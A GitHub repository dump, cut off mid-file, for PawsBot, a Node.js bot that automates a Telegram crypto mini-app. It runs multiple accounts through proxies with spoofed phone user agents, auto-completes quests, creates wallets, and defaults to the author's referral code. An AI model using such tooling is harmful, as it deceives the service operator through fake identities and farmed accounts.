├── .env-example ├── .github └── image │ └── hero.png ├── .gitignore ├── Dockerfile ├── INSTALL.bat ├── LICENSE ├── NOTICE ├── README.md ├── START.bat ├── assets.json ├── bot ├── config │ ├── app.js │ ├── config.js │ ├── proxies.js │ ├── proxies.txt │ └── userAgents.js ├── core │ ├── api.js │ ├── header.js │ ├── nonSessionTapper.js │ ├── register.js │ └── tapper.js └── utils │ ├── TldLogger.js │ ├── _isArray.js │ ├── assetsChecker.js │ ├── banner.js │ ├── devices.js │ ├── helper.js │ ├── logger.js │ ├── luncher.js │ ├── parser.js │ ├── proxiesConvertor.js │ └── sleep.js ├── docker-compose.yml ├── index.js ├── install.sh ├── package-lock.json ├── package.json └── queryIds.json /.env-example: -------------------------------------------------------------------------------- 1 | API_ID= 2 | API_HASH= 3 | 4 | DELAY_BETWEEN_STARTING_BOT= 5 | 6 | USE_PROXY_FROM_JS_FILE= 7 | 8 | WORD_PHRASE_LENGTH= 9 | 10 | AUTO_COMPLETE_QUESTS= 11 | 12 | USE_PROXY_FROM_TXT_FILE= 13 | 14 | DELAY_BETWEEN_QUEST= 15 | 16 | AUTO_CREATE_AND_CONNECT_WALLET= 17 | 18 | REFERRAL_CODE= -------------------------------------------------------------------------------- /.github/image/hero.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Freddywhest/PawsBot/8877b8be688ed89ee5f5b82fdf092cc789320e0a/.github/image/hero.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | wallets/ 2 | # Ignore the sessions folder 3 | sessions/ 4 | 5 | # Ignore the dist folder 6 | dist/ 7 | 8 | # Ignore the .env file 9 | .env 10 | 11 | # Ignore the node_modules folder 12 | node_modules/ 13 | 14 | # Ignore the session_user_agents.json file 15 | session_user_agents.json 16 | 17 | simulate_device.json 18 | 19 | # Ignore the Push.bat 20 | Push.bat 21 | 22 | # Ignore all files ending with .session 23 | *.session 24 | 25 | cache/ 26 | tmp/ -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:18-alpine 2 | 3 | # Set the working directory 4 | WORKDIR /app 5 | 6 | # Copy package.json and package-lock.json (if available) 7 | COPY package*.json ./ 8 | 9 | # Install dependencies 10 | RUN npm install 11 | 12 | # Copy the rest of the application code 13 | COPY . . 14 | 15 | # Command to run the application 16 | CMD ["node", "index.js"] 17 | -------------------------------------------------------------------------------- /INSTALL.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo Installing dependencies... 3 | npm install 4 | echo Copying .env-example to .env... 5 | copy .env-example .env 6 | echo Please edit the .env file to add your API_ID and API_HASH. 7 | pause -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Terms and Conditions for Copying, Distribution, and Modification 2 | 3 | 1. Definitions: 4 | - "Software": refers to this project and all associated files. 5 | - "You": refers to the individual or legal entity accessing and using the Software. 6 | - "Non-Commercial": means not intended for or directed towards commercial advantage or monetary compensation. 7 | 2. Grant of License: 8 | Subject to the terms and conditions of this license, the copyright holder grants You a worldwide, royalty-free, non-exclusive, perpetual license to use, copy, modify, and distribute the Software, provided that: 9 | 10 | 1. You do not sell the Software or any modified versions of it. 11 | 2. You do not use the Software or any modified versions of it for commercial purposes. 12 | 13 | 3. Redistribution: 14 | You may redistribute the Software in its original or modified form, provided that You: 15 | 16 | 1. Include a copy of this license with any copy of the Software You distribute. 17 | 2. Clearly state any modifications made to the original Software. 18 | 19 | 4. Derivative Works 20 | You are allowed to create derivative works of the Software, provided that: 21 | 22 | 1. Any derivative works are distributed under the same terms as this license. 23 | 2. You do not sell any derivative works or use them for commercial purposes. 24 | 25 | 5. Disclaimer of Warranty 26 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NONINFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT, OR OTHERWISE, ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 27 | 28 | 6. Limitation of Liability 29 | IN NO EVENT WILL THE COPYRIGHT HOLDER BE LIABLE FOR ANY DAMAGES, INCLUDING WITHOUT LIMITATION, LOST PROFITS, LOST SAVINGS, OR OTHER INCIDENTAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF THE USE OR INABILITY TO USE THE SOFTWARE, EVEN IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 30 | 31 | 7. Termination 32 | This license is effective until terminated. You may terminate it at any time by destroying all copies of the Software in your possession or control. This license will terminate immediately without notice from the copyright holder if You fail to comply with any provision of this license. 33 | 34 | 8. Miscellaneous 35 | If any provision of this license is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. 36 | -------------------------------------------------------------------------------- /NOTICE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Freddywhest/PawsBot/8877b8be688ed89ee5f5b82fdf092cc789320e0a/NOTICE -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | > [](https://t.me/roddyfred) 2 | 3 | # Use Node.Js 18 or greater 4 | 5 | ## Functionality 6 | 7 | | Functional | Supported | 8 | | ------------------------------------------------------------- | :-------: | 9 | | Auto creating wallet and linking | ✅ | 10 | | Auto completing quests | ✅ | 11 | | Multithreading | ✅ | 12 | | Binding a proxy to a session | ✅ | 13 | | Auto-purchase of items if you have coins (multitap, attempts) | ✅ | 14 | | Binding a proxy to a session/query_id | ✅ | 15 | | Random sleep time between clicks | ✅ | 16 | 17 | ## [How to add query id](https://github.com/Freddywhest/RockyRabbitBot/blob/main/AddQueryId.md) 18 | 19 | ## [Settings](https://github.com/FreddyWhest/PawsBot/blob/main/.env-example) 20 | 21 | | Settings | Description | 22 | | ---------------------------------- | -------------------------------------------------------------------------- | 23 | | **API_ID / API_HASH** | Platform data from which to launch a Telegram session (stock - Android) | 24 | | **WORD_PHRASE_LENGTH** | The length of key phrase to generate for thr wallet (12 or 24) | 25 | | **AUTO_CREATE_AND_CONNECT_WALLET** | Whether the bot should auto create and connect wallet (True / False) | 26 | | **REFERRAL_CODE** | Referral code to use | 27 | | **AUTO_COMPLETE_QUESTS** | Whether the bot should complete quests (True / False) | 28 | | **DELAY_BETWEEN_QUEST** | Delay between quests in seconds (eg. [20, 30]) | 29 | | **DELAY_BETWEEN_STARTING_BOT** | Delay between starting in seconds (eg. [20, 30]) | 30 | | **USE_PROXY_FROM_JS_FILE** | Whether to use proxy from the `bot/config/proxies.js` file (True / False) | 31 | | **USE_PROXY_FROM_TXT_FILE** | Whether to use proxy from the `bot/config/proxies.txt` file (True / False) | 32 | 33 | ### More configurations [Click Here](/README-UPDATE.md) 34 | 35 | ## Installation 36 | 37 | You can download [**Repository**](https://github.com/FreddyWhest/PawsBot) by cloning it to your system and installing the necessary dependencies: 38 | 39 | ```shell 40 | ~ >>> git clone https://github.com/FreddyWhest/PawsBot.git 41 | ~ >>> cd PawsBot 42 | 43 | #Linux and MocOS 44 | ~/PawsBot >>> chmod +x check_node.sh 45 | ~/PawsBot >>> ./check_node.sh 46 | 47 | OR 48 | 49 | ~/PawsBot >>> npm install 50 | ~/PawsBot >>> cp .env-example .env 51 | ~/PawsBot >>> nano .env # Here you must specify your API_ID and API_HASH , the rest is taken by default 52 | ~/PawsBot >>> node index.js 53 | 54 | #Windows 55 | 1. Double click on INSTALL.bat in PawsBot directory to install the dependencies 56 | 2. Double click on START.bat in PawsBot directory to start the bot 57 | 58 | OR 59 | 60 | ~/PawsBot >>> npm install 61 | ~/PawsBot >>> cp .env-example .env 62 | ~/PawsBot >>> # Specify your API_ID and API_HASH, the rest is taken by default 63 | ~/PawsBot >>> node index.js 64 | ``` 65 | 66 | Also for quick launch you can use arguments, for example: 67 | 68 | ```shell 69 | ~/PawsBot >>> node index.js --action=1 70 | 71 | OR 72 | 73 | ~/PawsBot >>> node index.js --action=2 74 | 75 | #1 - Create session 76 | #2 - Run clicker 77 | ``` 78 | -------------------------------------------------------------------------------- /START.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo Starting the bot... 3 | node index.js 4 | pause -------------------------------------------------------------------------------- /assets.json: -------------------------------------------------------------------------------- 1 | { 2 | "mainUrl": "https://app.paws.community", 3 | "assetsUrl": ["/_next/static/chunks/pages/index-277389553f1b4ff7.js"] 4 | } 5 | -------------------------------------------------------------------------------- /bot/config/app.js: -------------------------------------------------------------------------------- 1 | const app = { 2 | version: "1.0.1", 3 | apiUrl: "https://api.paws.community", 4 | peer: "PAWSOG_bot", 5 | bot: "PAWSOG_bot", 6 | webviewUrl: "https://app.paws.community/", 7 | origin: "https://app.paws.community", 8 | referer: "https://app.paws.community/", 9 | }; 10 | 11 | module.exports = app; 12 | -------------------------------------------------------------------------------- /bot/config/config.js: -------------------------------------------------------------------------------- 1 | const _isArray = require("../utils/_isArray"); 2 | 3 | require("dotenv").config(); 4 | let code = []; 5 | if (!process.env.REFERRAL_CODE) { 6 | code = ["UL3P8qnd"]; 7 | } else { 8 | code = process.env.REFERRAL_CODE.split(","); 9 | } 10 | const settings = { 11 | API_ID: 12 | process.env.API_ID && /^\d+$/.test(process.env.API_ID) 13 | ? parseInt(process.env.API_ID) 14 | : process.env.API_ID && !/^\d+$/.test(process.env.API_ID) 15 | ? "N/A" 16 | : undefined, 17 | API_HASH: process.env.API_HASH || "", 18 | 19 | MAX_CONCURRENT_ACCOUNT: 20 | process.env.MAX_CONCURRENT_ACCOUNT && 21 | /^\d+$/.test(process.env.MAX_CONCURRENT_ACCOUNT) 22 | ? parseInt(process.env.MAX_CONCURRENT_ACCOUNT) 23 | : 2, 24 | 25 | DELAY_BETWEEN_STARTING_BOT: 26 | process.env.DELAY_BETWEEN_STARTING_BOT && 27 | _isArray(process.env.DELAY_BETWEEN_STARTING_BOT) 28 | ? JSON.parse(process.env.DELAY_BETWEEN_STARTING_BOT) 29 | : [15, 20], 30 | 31 | DELAY_BETWEEN_QUEST: 32 | process.env.DELAY_BETWEEN_QUEST && _isArray(process.env.DELAY_BETWEEN_QUEST) 33 | ? JSON.parse(process.env.DELAY_BETWEEN_QUEST) 34 | : [5, 10], 35 | 36 | USE_PROXY_FROM_TXT_FILE: process.env.USE_PROXY_FROM_TXT_FILE 37 | ? process.env.USE_PROXY_FROM_TXT_FILE.toLowerCase() === "true" 38 | : false, 39 | 40 | USE_PROXY_FROM_JS_FILE: process.env.USE_PROXY_FROM_JS_FILE 41 | ? process.env.USE_PROXY_FROM_JS_FILE.toLowerCase() === "true" 42 | : false, 43 | 44 | AUTO_CREATE_AND_CONNECT_WALLET: process.env.AUTO_CREATE_AND_CONNECT_WALLET 45 | ? process.env.AUTO_CREATE_AND_CONNECT_WALLET.toLowerCase() === "true" 46 | : true, 47 | 48 | AUTO_COMPLETE_QUESTS: process.env.AUTO_COMPLETE_QUESTS 49 | ? process.env.AUTO_COMPLETE_QUESTS.toLowerCase() === "true" 50 | : true, 51 | 52 | REFERRAL_CODE: code, 53 | 54 | CAN_CREATE_SESSION: false, 55 | }; 56 | 57 | module.exports = settings; 58 | -------------------------------------------------------------------------------- /bot/config/proxies.js: -------------------------------------------------------------------------------- 1 | //Currently only http and https proxies are supported. 2 | //HTTP proxies are not supported as they required a completely different connection type. 3 | 4 | const proxies = [ 5 | // EXAMPLE: 6 | { 7 | ip: "123.456.789.123", // Proxy host (IP or hostname) 8 | port: 1234, // Proxy port 9 | protocol: "http", // Proxy protocol [http/https]. 10 | username: "username", // If use Socks with auth then you need to provide a username. 11 | password: "password", // If use Socks with auth then you need to provide a password. 12 | }, 13 | { 14 | ip: "123.456.789.123", // Proxy host (IP or hostname) 15 | port: 1234, // Proxy port 16 | protocol: "http", // Proxy protocol [http/https]. 17 | username: "username", // If use Socks with auth then you need to provide a username. 18 | password: "password", // If use Socks with auth then you need to provide a password. 19 | }, 20 | { 21 | ip: "123.456.789.123", // Proxy host (IP or hostname) 22 | port: 1234, // Proxy port 23 | protocol: "http", // Proxy protocol [http/https]. 24 | username: "username", // If use Socks with auth then you need to provide a username. 25 | password: "password", // If use Socks with auth then you need to provide a password. 26 | }, 27 | ]; 28 | 29 | module.exports = proxies; 30 | -------------------------------------------------------------------------------- /bot/config/proxies.txt: -------------------------------------------------------------------------------- 1 | type://user:pass@ip:port 2 | type://user:pass:ip:port 3 | type://ip:port:user:pass 4 | type://ip:port@user:pass 5 | type://ip:port -------------------------------------------------------------------------------- /bot/config/userAgents.js: -------------------------------------------------------------------------------- 1 | const user_agents = [ 2 | //Samsung Galaxy S22 5G 3 | "Mozilla/5.0 (Linux; Android 13; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 4 | "Mozilla/5.0 (Linux; Android 13; SM-S901U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 5 | 6 | //Samsung Galaxy S22 Ultra 5G 7 | "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 8 | "Mozilla/5.0 (Linux; Android 13; SM-S908U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36", 9 | 10 | //Samsung Galaxy S21 5G 11 | "Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 12 | "Mozilla/5.0 (Linux; Android 13; SM-G991U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 13 | 14 | //Samsung Galaxy S21 Ultra 5G 15 | "Mozilla/5.0 (Linux; Android 13; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 16 | "Mozilla/5.0 (Linux; Android 13; SM-G998U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 17 | 18 | //Samsung Galaxy A53 5G 19 | "Mozilla/5.0 (Linux; Android 13; SM-A536B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 20 | "Mozilla/5.0 (Linux; Android 13; SM-A536U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 21 | 22 | //Samsung Galaxy A51 23 | "Mozilla/5.0 (Linux; Android 13; SM-A515F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 24 | "Mozilla/5.0 (Linux; Android 13; SM-A515U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 25 | 26 | //Samsung Galaxy S10 27 | "Mozilla/5.0 (Linux; Android 12; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 28 | "Mozilla/5.0 (Linux; Android 12; SM-G973U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 29 | 30 | //Google Pixel 6 31 | "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 32 | 33 | //Google Pixel 6a 34 | "Mozilla/5.0 (Linux; Android 13; Pixel 6a) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 35 | 36 | //Google Pixel 6 Pro 37 | "Mozilla/5.0 (Linux; Android 13; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 38 | 39 | //Google Pixel 7 40 | "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 41 | 42 | //Google Pixel 7 Pro 43 | "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 44 | 45 | //Motorola Moto G Pure 46 | "Mozilla/5.0 (Linux; Android 12; moto g pure) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 47 | 48 | //Motorola Moto G Stylus 5G 49 | "Mozilla/5.0 (Linux; Android 12; moto g stylus 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 50 | 51 | //Motorola Moto G Stylus 5G (2022) 52 | "Mozilla/5.0 (Linux; Android 12; moto g stylus 5G (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 53 | 54 | //Motorola Moto G 5G (2022) 55 | "Mozilla/5.0 (Linux; Android 12; moto g 5G (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 56 | 57 | //Motorola Moto G Power (2022) 58 | "Mozilla/5.0 (Linux; Android 12; moto g power (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 59 | 60 | //Motorola Moto G Power (2021) 61 | "Mozilla/5.0 (Linux; Android 11; moto g power (2021)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 62 | 63 | //Redmi Note 9 Pro 64 | "Mozilla/5.0 (Linux; Android 12; Redmi Note 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 65 | 66 | //Redmi Note 8 Pro 67 | "Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 68 | 69 | //Huawei P30 Pro 70 | "Mozilla/5.0 (Linux; Android 10; VOG-L29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 71 | 72 | //Huawei P30 lite 73 | "Mozilla/5.0 (Linux; Android 10; MAR-LX1A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 74 | 75 | //Redmi Note 10 Pro 76 | "Mozilla/5.0 (Linux; Android 13; M2101K6G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 77 | 78 | //Xiaomi Poco X3 Pro 79 | "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 80 | 81 | //Redmi Note 11 Pro 5G 82 | "Mozilla/5.0 (Linux; Android 12; 2201116SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 83 | 84 | //OnePlus Nord N200 5G 85 | "Mozilla/5.0 (Linux; Android 12; DE2118) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 86 | 87 | //Samsung Galaxy S23 Ultra 5G 88 | "Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 89 | "Mozilla/5.0 (Linux; Android 13; SM-S918U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 90 | 91 | //Samsung Galaxy S23 5G 92 | "Mozilla/5.0 (Linux; Android 13; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 93 | "Mozilla/5.0 (Linux; Android 13; SM-S911U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 94 | 95 | //Samsung Galaxy Note 20 Ultra 5G 96 | "Mozilla/5.0 (Linux; Android 13; SM-N986B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 97 | "Mozilla/5.0 (Linux; Android 13; SM-N986U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 98 | 99 | //Samsung Galaxy Note 20 5G 100 | "Mozilla/5.0 (Linux; Android 13; SM-N981B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 101 | "Mozilla/5.0 (Linux; Android 13; SM-N981U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 102 | 103 | //OnePlus 9 Pro 104 | "Mozilla/5.0 (Linux; Android 13; LE2121) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 105 | "Mozilla/5.0 (Linux; Android 13; LE2125) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 106 | 107 | //OnePlus 9 108 | "Mozilla/5.0 (Linux; Android 13; LE2113) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 109 | "Mozilla/5.0 (Linux; Android 13; LE2115) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 110 | 111 | //OnePlus 8T 112 | "Mozilla/5.0 (Linux; Android 13; KB2001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 113 | "Mozilla/5.0 (Linux; Android 13; KB2005) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 114 | 115 | //Huawei P40 Pro 116 | "Mozilla/5.0 (Linux; Android 10; ELS-NX9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 117 | "Mozilla/5.0 (Linux; Android 10; ELS-N04) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 118 | 119 | //Huawei P40 120 | "Mozilla/5.0 (Linux; Android 10; ANA-NX9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 121 | "Mozilla/5.0 (Linux; Android 10; ANA-N29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 122 | 123 | //Xiaomi Mi 11 124 | "Mozilla/5.0 (Linux; Android 13; M2011K2C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 125 | "Mozilla/5.0 (Linux; Android 13; M2011K2G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 126 | 127 | //Xiaomi Mi 11 Ultra 128 | "Mozilla/5.0 (Linux; Android 13; M2102K1C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 129 | "Mozilla/5.0 (Linux; Android 13; M2102K1G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 130 | 131 | //Xiaomi Mi 11i 132 | "Mozilla/5.0 (Linux; Android 13; M2012K11G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 133 | 134 | //Oppo Find X5 Pro 135 | "Mozilla/5.0 (Linux; Android 13; CPH2305) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 136 | "Mozilla/5.0 (Linux; Android 13; CPH2307) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 137 | 138 | //Oppo Find X3 Pro 139 | "Mozilla/5.0 (Linux; Android 13; CPH2173) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 140 | 141 | //Oppo Reno 6 Pro 5G 142 | "Mozilla/5.0 (Linux; Android 13; CPH2247) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 143 | 144 | //Vivo X70 Pro+ 145 | "Mozilla/5.0 (Linux; Android 13; V2114) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 146 | 147 | //Vivo X60 Pro+ 148 | "Mozilla/5.0 (Linux; Android 13; V2056A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 149 | 150 | //LG Velvet 5G 151 | "Mozilla/5.0 (Linux; Android 13; LM-G900N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 152 | 153 | //Sony Xperia 1 III 154 | "Mozilla/5.0 (Linux; Android 13; XQ-BC72) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 155 | 156 | //Sony Xperia 5 II 157 | "Mozilla/5.0 (Linux; Android 13; XQ-AS72) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 158 | 159 | //Nokia 8.3 5G 160 | "Mozilla/5.0 (Linux; Android 13; Nokia 8.3 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 161 | 162 | //Nokia 7.2 163 | "Mozilla/5.0 (Linux; Android 12; Nokia 7.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 164 | 165 | //Realme GT 2 Pro 166 | "Mozilla/5.0 (Linux; Android 13; RMX3301) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 167 | 168 | //Realme X7 Pro 169 | "Mozilla/5.0 (Linux; Android 13; RMX2121) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 170 | 171 | //Asus ROG Phone 5 172 | "Mozilla/5.0 (Linux; Android 13; ASUS_I005DA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 173 | 174 | //Asus Zenfone 8 175 | "Mozilla/5.0 (Linux; Android 13; ASUS_I006DA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 176 | 177 | //Google Pixel 7 Pro 178 | "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 179 | 180 | //Google Pixel 7 181 | "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 182 | 183 | //Google Pixel 6 Pro 184 | "Mozilla/5.0 (Linux; Android 13; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 185 | 186 | //Google Pixel 6 187 | "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 188 | 189 | //Motorola Moto G Power (2022) 190 | "Mozilla/5.0 (Linux; Android 12; moto g power (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 191 | 192 | //Motorola Moto G Stylus (2022) 193 | "Mozilla/5.0 (Linux; Android 12; moto g stylus (2022)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 194 | 195 | //ZTE Axon 30 Ultra 196 | "Mozilla/5.0 (Linux; Android 13; A2022U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 197 | 198 | //ZTE Nubia Red Magic 7 Pro 199 | "Mozilla/5.0 (Linux; Android 13; NX709J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", 200 | 201 | //Samsung Galaxy Tab 202 | "Mozilla/5.0 (Linux; Android 12; SM-T970) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36", 203 | "Mozilla/5.0 (Linux; Android 11; SM-T860) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36", 204 | "Mozilla/5.0 (Linux; Android 10; SM-T510) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36", 205 | "Mozilla/5.0 (Linux; Android 9; SM-T720) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36", 206 | "Mozilla/5.0 (Linux; Android 8.1.0; SM-T580) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Safari/537.36", 207 | ]; 208 | 209 | module.exports = user_agents; 210 | -------------------------------------------------------------------------------- /bot/core/api.js: -------------------------------------------------------------------------------- 1 | const app = require("../config/app"); 2 | const logger = require("../utils/logger"); 3 | const sleep = require("../utils/sleep"); 4 | const _ = require("lodash"); 5 | 6 | class ApiRequest { 7 | constructor(session_name, bot_name) { 8 | this.session_name = session_name; 9 | this.bot_name = bot_name; 10 | } 11 | 12 | async get_user_data(http_client) { 13 | try { 14 | const response = await http_client.get(`${app.apiUrl}/v1/user`); 15 | return response.data; 16 | } catch (error) { 17 | console.log(error); 18 | if (error?.response?.status > 499) { 19 | logger.error( 20 | `[${this.bot_name}] | ${this.session_name} | Server Error while getting user data:: ${error.message}` 21 | ); 22 | return null; 23 | } 24 